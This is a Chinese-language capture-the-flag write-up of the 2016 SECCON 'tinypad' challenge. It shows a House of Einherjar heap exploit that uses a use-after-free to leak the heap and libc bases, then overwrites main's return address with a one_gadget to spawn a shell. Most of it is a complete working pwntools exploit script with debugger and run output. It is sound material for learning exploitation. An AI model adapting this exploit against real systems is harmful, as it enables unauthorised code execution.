tinypad - house_of_einherjar

来自ctf-wiki,链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad

题目:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad

前言

考察对 House Of Einherjar 漏洞的用法。以及UAF。

鄙人使用的是自己编译的glibc-2.19,下面的有些地址是需要自行计算的.

思路

  1. 泄露heap基地址
  2. 泄露libc基地址
  3. House Of Einherjar漏洞
  4. One gadget拿shell

泄露heap基地址

由于源程序在做删除操作的时候,不会将指针置NULL,所以下一次就会打印出其 malloc_chunk->fd 上的值。

# 1. leak heap base 不能大于0x80
add(0x70, 'a' * 8)  # index 1
add(0x70, 'b' * 8)  # index 2
add(0x100, 'c' * 8)  # index 3

delete(2)  # delete index 2

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

heap_base_addr = u64(ret.ljust(8, '\x00')) & 0xfffff000
log.success("heap_base_addr: " + hex(heap_base_addr))

泄露libc基地址

原理和上面一样的.

# 2. leak libc base address
add(0x200, '')
add(0x200, '')

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

# 不同的glibc,main_area_88 的偏移各有不同,请自行计算
main_area_88_offset = 0x39cbb8

main_area_88 = u64(ret.ljust(8, '\x00'))
log.info("main_area_88: " + hex(main_area_88))

libc_base_addr = main_area_88 - main_area_88_offset
log.success("libc_base_addr: " + hex(libc_base_addr))

# clear
delete(2)
delete(3)

不同的glibc,main_area_88 的偏移各有不同,算偏移的具体做法:

pwndbg> heap
0x9ec000 FASTBIN {
  prev_size = 0, 
  size = 129, 
  fd = 0x9ec080, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x9ec080 FASTBIN {
  prev_size = 0, 
  size = 129, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x9ec100 PREV_INUSE {
  prev_size = 0, 
  size = 273, 
  fd = 0x6363636363636363, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x9ec210 PREV_INUSE {
  prev_size = 0, 
  size = 273, 
  fd = 0x7ff59d65fbb8 <main_arena+88>, 
  bk = 0x7ff59d65fbb8 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x9ec320 {
  prev_size = 272, 
  size = 272, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x9ec430 PREV_INUSE {
  prev_size = 0, 
  size = 134097, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      /home/ex/test/tinypad
          0x601000           0x602000 r--p     1000 1000   /home/ex/test/tinypad
          0x602000           0x603000 rw-p     1000 2000   /home/ex/test/tinypad
          0x9ec000           0xa0d000 rw-p    21000 0      [heap]
    0x7ff59d2c3000     0x7ff59d45b000 r-xp   198000 0      /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
    0x7ff59d45b000     0x7ff59d65b000 ---p   200000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
    0x7ff59d65b000     0x7ff59d65f000 r--p     4000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
    0x7ff59d65f000     0x7ff59d661000 rw-p     2000 19c000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so
    0x7ff59d661000     0x7ff59d665000 rw-p     4000 0      
    0x7ff59d665000     0x7ff59d685000 r-xp    20000 0      /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
    0x7ff59d87e000     0x7ff59d881000 rw-p     3000 0      
    0x7ff59d883000     0x7ff59d884000 rw-p     1000 0      
    0x7ff59d884000     0x7ff59d885000 r--p     1000 1f000  /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
    0x7ff59d885000     0x7ff59d886000 rw-p     1000 20000  /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so
    0x7ff59d886000     0x7ff59d887000 rw-p     1000 0      
    0x7ffcd5774000     0x7ffcd5795000 rw-p    21000 0      [stack]
    0x7ffcd57f7000     0x7ffcd57f9000 r--p     2000 0      [vvar]
    0x7ffcd57f9000     0x7ffcd57fb000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> p/x 0x7ff59d65fbb8-0x7ff59d2c3000
$1 = 0x39cbb8
pwndbg> 

House Of Einherjar准备

具体做法如下:

  1. 准备环境
  2. 修改inuse标志
  3. 进行 \x00 填充
  4. 修改 prev_size
  5. 构造fake_chunk
  6. 劫持main返回地址

准备环境

事先要准备好填充的数量.

add(24,'a'*24) # index 1
add(240,'') # index 2
add(0x100, 'c' * (32+0x20))  # index 3
add(0x100, 'c' * (0x100)) # index 4

修改inuse标志

用的是strcpy的\x00截断实现的.

# 修改inuse标志
edit(1,'a'*24)

进行 \x00 填充

因为strcpy的时候会有\x00截断,所以对于高字节的\x00,只能一步一步来修改.

size = (heap_index_2 - fakechunk_addr)

log.info("Size: "+hex(size))

# 计算size的长度
size_length = int(math.ceil(( len(hex(size))-2)/2))

# 进行 \x00 填充,将高位填充为0
for i in range(8 - 1 - size_length):
    edit(1,'a'*(24 - 1 -i))

修改 prev_size

因为heap在使用状态下,prev_size 的空间是可以给前一个chunk使用的,所以它的值可以由前一个chunk更改.

# 修改prev_size
edit(1,'a'*16 + p64(size))

构造fake_chunk

下面就是直接构造的假chunk,而index在构造环境的时候需要确定能容下所有字节.

# fake_chunk
layout = [
    p64(0x0), # fake_chunk->prev_size
    p64(0x100 + 0x1), # fake_chunk->size
    p64(fakechunk_addr), # fake_chunk->fd
    p64(fakechunk_addr)  # fake_chunk->bk
    # 注意 fake_chunk->fd_nextsize 和fake_chunk->fd_nextsize要0
]

# 构造 fake_chunk
edit(3,'d' * 0x20 + flat(layout))

House Of Einherjar

前面已经准备好了,所以这里直接使用该漏洞,将fake_chunk->fd和fake_chunk->bk设置为main_area_88,主要是为了能把该chunk从heap里面拿出来,要不然过不了检查.

# House Of Einherjar漏洞
delete(2)

# 构造完成
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_area_88) + p64(main_area_88))

劫持main返回地址

具体做法如下:

  1. 计算environ pointer地址
  2. 构造一个方便读写的环境
  3. 劫持main返回地址
  4. getshell

计算environ pointer地址

直接用泄露的基地址计算就行.

environ_pointer = libc_base_addr + libc.symbols['__environ']
log.info('environ pointer addr: ' + hex(environ_pointer))

构造一个方便读写的环境

# 设置第一个
# 0x602148 为index 1
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)

add(0x100 - 8, fake_pad) # index 2

劫持main返回地址

# get environ addr
sh.recvuntil('INDEX: 1\n # CONTENT: ')
ret = sh.recvuntil('\n', drop=True).ljust(8, '\x00')
# 清除输出流
sh.recvuntil('(CMD)>>> ')
environ_addr = ret

environ_addr = u64(environ_addr)
log.success('environ_addr: ' + hex(environ_addr))



# 偏移要自己计算
main_ret_addr = environ_addr - 0xf0
log.success('main_ret_addr: ' + hex(main_ret_addr))

# constraints:
#   [rsp+0x20] == NULL
one_gadget = 0x3ce7f
one_gadget_addr = libc_base_addr + one_gadget
log.success('one_gadget_addr: ' + hex(one_gadget_addr))

# 修改main函数返回地址为one_gadget_addr
edit(2,p64(main_ret_addr)) # index 2
edit(1,p64(one_gadget_addr))

environ_addr 和 main_ret_addr 的偏移需要自行计算,方法如下:

pwndbg> stack
00:0000│ rsp  0x7ffef44eaf98 —▸ 0x400ed9 (_read_n+112) ◂— mov    qword ptr [rbp - 0x10], rax
01:00080x7ffef44eafa0 —▸ 0x7ffef44eb033 ◂— 0x40083200007ffef4
02:00100x7ffef44eafa8 ◂— 0x1
03:00180x7ffef44eafb0 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000
04:00200x7ffef44eafb8 —▸ 0x400fad (_write_n+112) ◂— mov    qword ptr [rbp - 0x10], rax
05:00280x7ffef44eafc0 —▸ 0x401a29 ◂— or     al, byte ptr [rax] /* '\n' */
06:00300x7ffef44eafc8 ◂— 0x0
07:00380x7ffef44eafd0 —▸ 0x4018d8 (prompt_cmd) ◂— sub    byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
pwndbg> 
08:00400x7ffef44eafd8 ◂— 0xa5c048c5caa4ab00
09:0048│ rbp  0x7ffef44eafe0 —▸ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— ...
0a:00500x7ffef44eafe8 —▸ 0x401100 (read_until+73) ◂— mov    qword ptr [rbp - 0x10], rax
0b:00580x7ffef44eaff0 ◂— 9 /* '\t' */
0c:00600x7ffef44eaff8 ◂— 0xacaa4ab00
0d:00680x7ffef44eb000 ◂— 0x1
0e:00700x7ffef44eb008 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000
0f:00780x7ffef44eb010 ◂— 9 /* '\t' */
pwndbg> 
10:00800x7ffef44eb018 ◂— 0x0
11:00880x7ffef44eb020 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15
12:00900x7ffef44eb028 ◂— 0xa5c048c5caa4ab00
13:00980x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15
14:00a0│        0x7ffef44eb038 —▸ 0x400832 (getcmd+92) ◂— mov    esi, 1
15:00a8│ rsi-4  0x7ffef44eb040 ◂— 0x2
16:00b0│        0x7ffef44eb048 ◂— 0xa5c048c5caa4ab00
17:00b8│        0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15
pwndbg> 
18:00c0│   0x7ffef44eb058 —▸ 0x4009c1 (main+350) ◂— mov    dword ptr [rbp - 0x10], eax
19:00c8│   0x7ffef44eb060 ◂— 0x3400401370
1a:00d0│   0x7ffef44eb068 ◂— 0x4
1b:00d8│   0x7ffef44eb070 ◂— 0xf800000000
1c:00e00x7ffef44eb078 ◂— 0xa5c048c5caa4ab00
1d:00e80x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15
1e:00f0│   0x7ffef44eb088 —▸ 0x7f48d89e27d5 (__libc_start_main+385) ◂— jmp    0x7f48d89e2820
1f:00f8│   0x7ffef44eb090 —▸ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8'
pwndbg> 
20:01000x7ffef44eb098 —▸ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad'
21:01080x7ffef44eb0a0 ◂— 0x1d8d5b760
22:01100x7ffef44eb0a8 —▸ 0x400863 (main) ◂— push   rbp
23:01180x7ffef44eb0b0 ◂— 0x0
24:01200x7ffef44eb0b8 ◂— 0xac9964160561fbe2
25:01280x7ffef44eb0c0 —▸ 0x4006e0 (_start) ◂— xor    ebp, ebp
26:01300x7ffef44eb0c8 ◂— 0x0
... ↓
pwndbg> 
28:01400x7ffef44eb0d8 ◂— 0x0
29:01480x7ffef44eb0e0 ◂— 0x53648c0b42a1fbe2
2a:01500x7ffef44eb0e8 ◂— 0x5208d5aa6c9bfbe2
2b:01580x7ffef44eb0f0 ◂— 0x7ffe00000000
2c:01600x7ffef44eb0f8 ◂— 0x0
... 2e:01700x7ffef44eb108 —▸ 0x7f48d8d7354d (_dl_init_internal+229) ◂— mov    eax, r14d
2f:01780x7ffef44eb110 ◂— 0x0
pwndbg> 
30:01800x7ffef44eb118 ◂— 0x0
... 33:01980x7ffef44eb130 —▸ 0x4006e0 (_start) ◂— xor    ebp, ebp
34:01a0│   0x7ffef44eb138 —▸ 0x7ffef44eb160 ◂— 0x1
35:01a8│   0x7ffef44eb140 ◂— 0x0
36:01b0│   0x7ffef44eb148 —▸ 0x40070a (_start+42) ◂— hlt    
37:01b8│   0x7ffef44eb150 —▸ 0x7ffef44eb158 ◂— 0x0
pwndbg> 
38:01c0│   0x7ffef44eb158 ◂— 0x0
39:01c8│   0x7ffef44eb160 ◂— 0x1
3a:01d0│   0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad'
3b:01d8│   0x7ffef44eb170 ◂— 0x0
3c:01e00x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8'
3d:01e80x7ffef44eb180 —▸ 0x7ffef44ec79e ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
3e:01f0│   0x7ffef44eb188 —▸ 0x7ffef44ec7be ◂— 'SSH_CLIENT=192.168.3.1 57226 22'
3f:01f8│   0x7ffef44eb190 —▸ 0x7ffef44ec7de ◂— 'LOGNAME=ex'
pwndbg> p/x 0x7ffef44eb178-0x7ffef44eb088
$1 = 0xf0
pwndbg>

也就是计算上面3c:01e0和1e:00f0的偏移,不同环境,可能值不同.

getshell

退出即可.

# 退出,getshell
sh.sendline('Q')

sh.interactive()

这里用的one gadget情况如下:

ex@ubuntu:~/test$ one_gadget /home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6
0x3ce7f execve("/bin/sh", rsp+0x20, environ)
constraints:
  [rsp+0x20] == NULL

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import math

sh = process('./tinypad')
elf = ELF('./tinypad')
libc = ELF('/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6')
#context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

tinypad = 0x602040


def add(size, content):
    sh.sendline('A')
    sh.recvuntil('(SIZE)>>> ')
    sh.sendline(str(size))
    sh.recvuntil('(CONTENT)>>> ')
    sh.sendline(content)
    sh.recvuntil('(CMD)>>> ')


def delete(index):
    sh.sendline('D')
    sh.recvuntil('(INDEX)>>> ')
    sh.sendline(str(index))
    sh.recvuntil('(CMD)>>> ')


def edit(index, content):
    sh.sendline('E')
    sh.recvuntil('(INDEX)>>> ')
    sh.sendline(str(index))
    sh.recvuntil('CONTENT: ')
    ret = sh.recvuntil('\n(CONTENT)>>> ')
    sh.sendline(content)
    sh.recvuntil('(Y/n)>>> ')
    sh.sendline('Y')
    sh.recvuntil('(CMD)>>> ')
    return ret


sh.recvuntil('(CMD)>>> ')

# 1. leak heap base 不能大于0x80
add(0x70, 'a' * 8)  # index 1
add(0x70, 'b' * 8)  # index 2
add(0x100, 'c' * 8)  # index 3

delete(2)  # delete index 2

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

heap_base_addr = u64(ret.ljust(8, '\x00')) & 0xfffff000
log.success("heap_base_addr: " + hex(heap_base_addr))

# 2. leak libc base address
add(0x200, '')
add(0x200, '')

sh.sendline('D')
sh.recvuntil('(INDEX)>>> ')
sh.sendline(str(1))
sh.recvuntil('# CONTENT: ')
ret = sh.recvuntil('\n')[:-1]
sh.recvuntil('(CMD)>>> ')

# 不同的glibc,main_area_88 的偏移各有不同,请自行计算
main_area_88_offset = 0x39cbb8

main_area_88 = u64(ret.ljust(8, '\x00'))
log.info("main_area_88: " + hex(main_area_88))

libc_base_addr = main_area_88 - main_area_88_offset
log.success("libc_base_addr: " + hex(libc_base_addr))

# clear
delete(2)
delete(3)

# 3. House Of Einherjar 修改inuse标志
add(24,'a'*24) # index 1
add(240,'') # index 2
add(0x100, 'c' * (32+0x20))  # index 3
add(0x100, 'c' * (0x100)) # index 4

fakechunk_addr = tinypad + 0x20

# 修改inuse标志
edit(1,'a'*24)

# 第二个索引的地址,第一个heap大小是0x20
heap_index_2 = heap_base_addr + 0x20

size = (heap_index_2 - fakechunk_addr)

log.info("Size: "+hex(size))

# 计算size的长度
size_length = int(math.ceil(( len(hex(size))-2)/2))

# 进行 \x00 填充,将高位填充为0
for i in range(8 - 1 - size_length):
    edit(1,'a'*(24 - 1 -i))

# 修改prev_size
edit(1,'a'*16 + p64(size))

# fake_chunk
layout = [
    p64(0x0), # fake_chunk->prev_size
    p64(0x100 + 0x1), # fake_chunk->size
    p64(fakechunk_addr), # fake_chunk->fd
    p64(fakechunk_addr)  # fake_chunk->bk
    # 注意 fake_chunk->fd_nextsize 和fake_chunk->fd_nextsize要0
]

# 构造 fake_chunk
edit(3,'d' * 0x20 + flat(layout))

# House Of Einherjar漏洞
delete(2)

# 构造完成
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_area_88) + p64(main_area_88))

# # 劫持__free_hook
# add(0x100 - 8,'a' * (0x100 - 0x20) + p64(32) + p64(__free_hook))

# add(24,'a'*24) # index 2
# add(0x0000000001ffb0e0 - 8,'a'* (0x100 + 0x40)) # index 4

environ_pointer = libc_base_addr + libc.symbols['__environ']
log.info('environ pointer addr: ' + hex(environ_pointer))

# 设置第一个
# 0x602148 为index 1
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)

add(0x100 - 8, fake_pad) # index 2

sh.sendline()

# get environ addr
sh.recvuntil('INDEX: 1\n # CONTENT: ')
ret = sh.recvuntil('\n', drop=True).ljust(8, '\x00')
# 清除输出流
sh.recvuntil('(CMD)>>> ')
environ_addr = ret

environ_addr = u64(environ_addr)
log.success('environ_addr: ' + hex(environ_addr))


# 偏移要自己计算
main_ret_addr = environ_addr - 0xf0
log.success('main_ret_addr: ' + hex(main_ret_addr))

# constraints:
#   [rsp+0x20] == NULL
one_gadget = 0x3ce7f
one_gadget_addr = libc_base_addr + one_gadget
log.success('one_gadget_addr: ' + hex(one_gadget_addr))

# 修改main函数返回地址为one_gadget_addr
edit(2,p64(main_ret_addr)) # index 2
edit(1,p64(one_gadget_addr))

# 退出,getshell
sh.sendline('Q')

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

结果如下:

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './tinypad': pid 46231
[*] '/home/ex/test/tinypad'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] heap_base_addr: 0xfaf000
[*] main_area_88: 0x7f81f2639bb8
[+] libc_base_addr: 0x7f81f229d000
[*] Size: 0x9acfc0
[*] environ pointer addr: 0x7f81f263c018
[+] environ_addr: 0x7fff834f6218
[+] main_ret_addr: 0x7fff834f6128
[+] one_gadget_addr: 0x7f81f22d9e7f
[*] Switching to interactive mode

$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

总结

这题比较坑人了,原本打算劫持got表的,却发现是full relro保护,然后计划打算劫持__free_hook,但是,由于程序本身有\0的长度限制,也不能修改.所以只能,修改main函数的地址为返回地址了.原本还想修改main函数的地址为返回地址为system函数,然后把参数设置为/bin/sh,但是放参数的地方刚好就是stack guard,所以不能修改,总之多尝试,总会有收获的